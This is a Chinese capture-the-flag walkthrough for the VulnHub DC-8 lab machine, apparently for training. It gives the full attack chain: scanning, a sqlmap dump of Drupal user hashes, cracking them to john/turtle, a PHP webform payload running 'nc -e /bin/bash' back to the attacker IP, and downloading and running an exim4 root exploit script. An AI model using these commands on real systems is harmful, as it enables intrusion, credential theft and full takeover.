环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-8.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.135

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.135

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.135

扫描结果如下:系统开放了一个 SSH 服务(22 端口)、一个 HTTP 服务(80 端口)

1
2
3
4
5
6
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to DC-8 | DC-8

目录扫描

使用 dirsearch 来扫一下目录看看有什么泄露的路径,有个后台登陆页面,需要找到账号密码

漏洞利用

SQL注入

页面发现类似 id 的参数,输入单引号报 sql 语法错误,存在 sql 注入漏洞

使用 sqlmap 爆数据,最终命令如下:

1
python .\sqlmap.py -u http://192.168.52.135/?nid=3 -D d7db -T users -C name,pass --dump

密码爆破

拿到两个账号密码,使用 hashcat 爆破明文密码,先在 hashcat wiki 上查一下密码对应的格式编号

得到加密类型编号,将两个 hash 写到 hash.txt,使用 rockyou.txt 字典进行爆破

1
2
3
hashcat -m 7900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --quiet

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF:turtle

爆破拿到一个账号密码 john/turtle,尝试后台登陆,成功登陆

反弹shell

在 Contact Us -> Webform ->Form settings 处可以写入 PHP 代码,写一个执行反弹 shell 命令的 PHP 脚本

1
<?php system("nc -e /bin/bash 192.168.52.128 2233");?>

该页面是在你提交 Contact Us 信息后返回页面触发的。先在攻击机上开启监听,填写信息后点击提交,触发页面从而拿到反弹回来的 shell

权限提升

拿到 shell 没回显,先用 python 起一个回显的终端

1
python -c 'import pty;pty.spawn("/bin/bash")'

web 权限先查找具有 suid 权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

发现有一个 exim4,这是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,先查一下版本,再用 searchsploit 搜一下相关版本的提权漏洞

发现有很多都可以用,我们优先选择 sh 脚本文件可以直接运行,在文件所在用 python 起一个 http 服务让靶机将文件下载下载,靶机赋予权限后按照说明执行即可成功提权

1
2
3
4
5
6
7
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
python3 -m http.server 8888

cd /tmp
wget http://192.168.52.128:8888/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat